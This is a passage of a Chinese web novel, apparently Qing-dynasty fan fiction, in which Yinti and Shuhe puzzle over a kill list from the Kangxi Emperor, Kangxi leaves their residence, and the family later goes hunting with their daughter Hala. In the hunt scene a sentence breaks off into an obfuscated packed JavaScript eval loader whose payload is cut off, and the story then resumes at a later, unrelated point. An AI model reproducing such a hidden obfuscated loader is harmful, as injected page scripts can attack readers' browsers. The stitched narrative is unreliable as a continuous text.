“皇阿玛来时,是衣衫褴褛着来的,因为这,还被守卫拦了下来,没让他进门。” “就这,也不算是什么大秘密吧?皇阿玛来时并没有遮掩,额娘她们只要随便一打听就知道了。” 胤褆摇摇手指头,“当然不止这个,皇阿玛给我一张名单,说是要我照着上面的人杀,喏,你看。” 舒禾接过名单,草草看过后就放到了两人中间的桌上,“这些人,和之前咱们两个怀疑的那些官员,有很大重合度,但又有些不同。” “这些是皇阿玛在三天之内弄到的。” 见舒禾眼里面划过一丝惊讶胤褆满意地点点头,很好,现在就不是他一个人看到名单惊讶了。 手指轻点纸张,胤褆眯着眼睛说道:“明眼人都知道三天时间拿到这份名单不可能,结合皇阿玛来时的装扮,我怀疑他是靠扮乞丐或者流民才获得的这份名单。” “保清,你这猜测,会不会太离谱了一点?”舒禾抽搐着嘴角问道。 猜自己的太上皇阿玛扮乞丐,要不说还得是亲生的呢,换个人都不敢这么猜。 “离谱吗?我倒是觉得这样才符合实际,不过若是扮乞丐刺探消息,我觉得我可能学不来这招了。” 消化了一会胤褆说的话后,舒禾弱弱地提出另一种可能。 “就、有没有那么一种可能,咱们带过来的官员中,有皇阿玛的人,他一直在暗中调查着这些人,之前一直按下不发,是因为皇阿玛没来,如今皇阿玛来了,他就将名单交上去了?” “没可能,绝对没可能,你想啊舒禾,若真的是这样,皇阿玛为什么会衣衫褴褛地过来?” 是啊,到底为什么会衣衫褴褛地过来呢? 68.正文完 就这样过来,到底是个大bug,舒禾发现,按照自己的说法,怎么都无法将那样过来合理化,胤褆的说法倒是能够合理化,但着实够丢面。 “这事,想不明白,干脆别提了,你看看这个,我给皇阿玛安排到这行吗?” 胤褆顺着舒禾手指的发现看去,发现她指的是地图上第二豪华的院子,不由得有些嫉妒地撇撇嘴,不满道:“之前我要这处院落你都不给,如今皇阿玛来了,你倒是拿出来了。” “……我给你是因为你想拿一个大院子做书房,就算你要的不是这个院子是其他院子我也不会给。” 其他的不说,就说拿一个院子做书房,谁家好人会这样做?又不是要在家里面建图书馆,用那么大一处地方做书房,平时要花的银钱维护可不少,一年到头用不到几次的书房,给那么大地方她脑子被驴踢了才会给。 胤褆有些不可置信地问道:“我之前要院子是为了做书房?” 舒禾耸耸肩,“不然呢?” 胤褆有些尴尬地扯扯唇角,他已经把当初要院子的理由忘的差不多了,只记得最后没要到,万万没想到他当初是要要来做书房。 只能说,不给的好啊!若是给了,现在的他看着一院子书,还不得天天头疼啊! 轻咳一声,岔开话题道:“我觉得,这个院子给皇阿玛用就刚刚好,我就这让李阔去告诉梁九功,带着皇阿玛过去。” “嗯,你让李阔顺便告诉梁九功,有什么需要的东西,只管去库上支取。” “好。” 康熙来到城主府舒舒服服的待了半个月就待不下去了,半个月后的早晨,康熙施施然留下一张纸条,带着梁九功就溜了。 【府内生活无趣,已离,勿念。】 看着简短的一行字,胤褆抽抽嘴角,拎起纸条抖抖,确定这张纸是单层的后,沉默了。 哈拉生下来后一直被他额娘养着,他和舒禾没有过多干涉,平时也就偶尔逗逗,至于小孩调皮捣蛋的时候,更是直接出了海不在大清,所以他从未体会过带小孩那种被气笑的感觉。 但现在,他在亲阿玛身上体会到了,胤褆用舌尖顶顶上颚,以防自己气到磨碎后槽牙,只感觉就这么一个月,他被活生生气老了几岁。 初下船时,你不想跟着车队走,行。 耽搁了三天到府,是抓贪官了,好。 可现在呢?就特么一句府中无趣,人走了,留下一张破纸条,怎么,跟他当面说话烫嘴啊? 康熙揉揉发痒的鼻子,对驾车的梁九功抱怨道:“保清那个臭小子肯定在背后念叨我的坏话了。” “肯定是念叨您的身体,害怕您在外边受委屈。” “得了吧,就你会说话哄人,这次一言不发就离开,保清那臭小子估摸着要气炸了,不在背后骂都是有孝道在那压着了。” 没有得到回应康熙也不恼,他知道有些比较敏感的话题梁九功都会特意避开不回话,这老小子贼着呢。 不过不贼,也不能在他身边待那么久了。 康熙笑着看向天空中太阳,躺在牛车上,感受着微风拂面,恍惚中有种如果这辈子真的真是个放牛郎仿佛也不错的感觉。 恍惚感片刻后逝去,恢复清醒的康熙摇摇头,为自己刚才的片刻恍惚。 但说真的,若是身边有他的嫡妻陪着,也不错,可是想想,若他真是放牛郎,索尼又怎会把孙女嫁给他呢,只能说,一切自有定数吧。 牛车晃晃悠悠行走在土路上,涤荡起一层层尘埃,飘起又落下,代表的已经逝去的时间。 两个月后胤褆收到了一封胤祉送过来的信,胤褆接过信先是看了一边,然后对院中正在扎马步的哈拉摆摆手示意她过来。 在哈拉过来后,将信递过去示意她看,哈拉接过信,一目十行的扫过去,“皇玛法去了三叔的领地,还将他那搅的一团糟?” “不是你皇玛法搅的一团糟,而是你三叔他就没有治理领地那个心神,素日全部心神都在他的诗歌字画上,领地里面自然是一团糟。” 舒禾边说边踱步至两人身边,将手里面放着一盘水果的托盘放下。 “如果是这样,那三叔就是在说谎,这么大一人了还说谎,真是不脸红。” 听着女儿这坦诚直率的话,胤褆脸上带笑,赞同地点点头,“确实是这样,所以,以后你看问题,记得透过现象看本质,若不然,将被蒙蔽后的真相到处宣扬就会变成别人眼中说谎不脸红的人了。” “嗯!我会的!” “好了,吃东西时间,不说这些,”舒禾拿出带过来的手帕,擦擦哈拉额头上因扎马步而冒出来的汗水,对着水果扬扬下巴:“渴了吧?吃点水果解解渴。” “好。” “你不许吃。” 胤褆讪讪一笑,收回已经伸出去的手,可怜道:“舒禾,我也渴。” “你坐在这屋檐下看着哈拉在太阳下扎马步,有什么好渴的?”舒禾没好气道。 听了舒禾的话,胤褆不吱声了,和心疼孩子的母亲讲道理无疑是自讨苦吃,这盘子水果不吃就不吃,反正他也没有很想吃。 嗯……真的没有很想吃。 哈拉嚼嚼嘴里面的水果,抬头看向眼睛直勾勾盯着盘子的胤褆,咽下嘴里面的水果,举起盘子问道:“阿玛,要一起吃吗?” “吃……”感受到身边森寒的注视,胤褆喉咙卡壳了一瞬方才继续道:“就算了,阿玛不喜欢吃这些,哈拉吃。” “哦,那我继续吃了。” 下午,哈拉倒是没有继续扎马步了,但是她被胤褆带着开始练自己选好的武器——长枪。 看哈拉耍长枪耍得有模有样的,舒禾有些赞叹地在一边给她鼓掌。 说来,她也会枪,但她会的不是冷兵器的长枪,而是属于热武器类的枪,想到自己那专门锻造的枪支,舒禾突然有点手痒,想去打猎了。 带着哈拉练枪的胤褆注意到舒禾的目光,纠正了哈拉的一个动作后,摆手示意她自己练,走到舒禾身边低声问道:“看什么呢?” “这就咱们三个,我能看什么,当然是看你们两个了。” “学了两个月,哈拉各方面都有所提高,趁着中秋,要带着哈拉出去玩一圈吗?” 舒禾闻言有些意动,但…… “会不会影响教学进度?” “不会,哈拉很聪明,学的很快,原定的进度已经学完了,现在学的这些,都是以后要学的。” “那就出去玩一圈?”舒禾有些迟疑地道。 “嗯,去专门圈出来的围猎场玩怎么样?正好让哈拉亲手试试打猎的感觉,见见血。” “可以!那我要带上我的长枪!” 见舒禾开心,胤褆也勾起一边唇角,连声附和道:“带,都带。” 听着两人的对话,哈拉一个横劈然后站起身,有些不满的想道:说什么让她试试亲手打猎的感觉,不过是借口罢了,实际上就是他们两个自己想去。 大人抹不开脸面就拿小孩当借口什么的,简直烦死了! 心里面想着烦死了,哈拉面上却仍是不可避免的带了一丝期待,之前在京城中,她跟着妈妈一起去过几次围猎场,只是她年纪小,他们不让她上场,连凑近观看都不许。 只能和皇玛法新生出来的小叔叔和小姑姑待在一块,烦都要被烦死了,半点体验感都没有。 可是这次,他们两个拿让她体验打猎为借口去围猎场,她总该能上场了吧? 若是这次还上不了场,她就去告状!她后边可是有两个靠山呢,一个对一个,外加她,她这边完胜! 三天后的围猎场迎来了它的主人,负责留守围猎场的负责人带着几人来到住处后,见几人把东西卸下就要去打猎,连忙热情地走在前面。 上个月刚砍了一批人,他可不想因着没有伺候后主子,他成了这个月被砍的那个。 马棚里面,胤褆挑了一匹黑马,舒禾也挑了一匹黑马,只有哈拉挑无可挑,选择了马棚里唯一适合她骑的白色小马。 负责人擦了擦额头上冷汗,解释道:“今年负责配种的种马在配了一次种后就莫名其妙死了,再去找种马已经来不及了,所以今年围猎场只有这么一匹小马,若是小主子不满意,奴才派人出去立马采购几匹小马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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与此同时,身边也会留下一张哀怨的帅脸,胤褆看着自己被捷足先登的猎物,幽幽道:“舒禾,你不觉得你这样太过于霸道了吗?” “我这样很霸道?”舒禾挑眉反问。 看着舒禾眼里面的威胁,胤褆闭了闭眼,轻轻叹了一口气,无奈道:“没,不霸道,是我感觉错了。” 闻言,舒禾脸上的笑意更灿烂了几分,接下来,她并没有一直打猎,而是在又打了两只猎物后就将机会让给了胤褆。 舒禾对着不远处的小鹿扬扬下巴,小声道:“这个让给你了,可就不许再在心里面念叨我喽。” “本来也没念叨。”胤褆小声嘀咕着从箭袋里面抽了一枝箭搭在弓上,瞄准、松手一系列动作一气呵成。 看着跑去捡猎物的护卫,胤褆得意地扬起下巴,“怎么样?爷的箭术不错吧?” “不错不错,非常好,”舒禾将手里面的枪横放在马上,空出两只手十分给面子的鼓了鼓掌,完后也用期待夸夸的眼神看向胤褆,“我的枪法怎么样?是不是天下第一好?” “是,不止是天下第一好,还是我心里面的这个——” 舒禾看着胤褆竖起的大拇指,脸上笑容灿烂。 骑马从不远处经过的哈拉看着这一幕,抽了抽嘴角,小声吐槽道:“真腻歪。” 感受脸上轻抚过的微风,哈拉轻轻摇了摇头,“不用,我只是正常吐槽而已。” 隐藏身形跟在舒禾身边的宝石看到充满生机的画面,宝石一般的眼睛里面划过一丝亮光,飘在半空中的身形渐渐淡去,直至最后消失不见。 在宝石消失的瞬间,舒禾就像是感受到了什么一样,突然回头将目光落到他方才隐形藏匿的空气范围。 见那里什么都没有,舒禾皱了皱眉,难不成刚才是她感觉错了?可是不应该啊…… “舒禾,护卫又发现了新的猎物,舒禾、舒禾?在想什么呢,叫了你那么多声都没有反应。” “没什么,不是说发现了新猎物嘛,走吧。” “好。” “驾——” 马蹄声逐渐远去,空中缓缓飘下一片落叶,岁月静谧,恰如美好永存。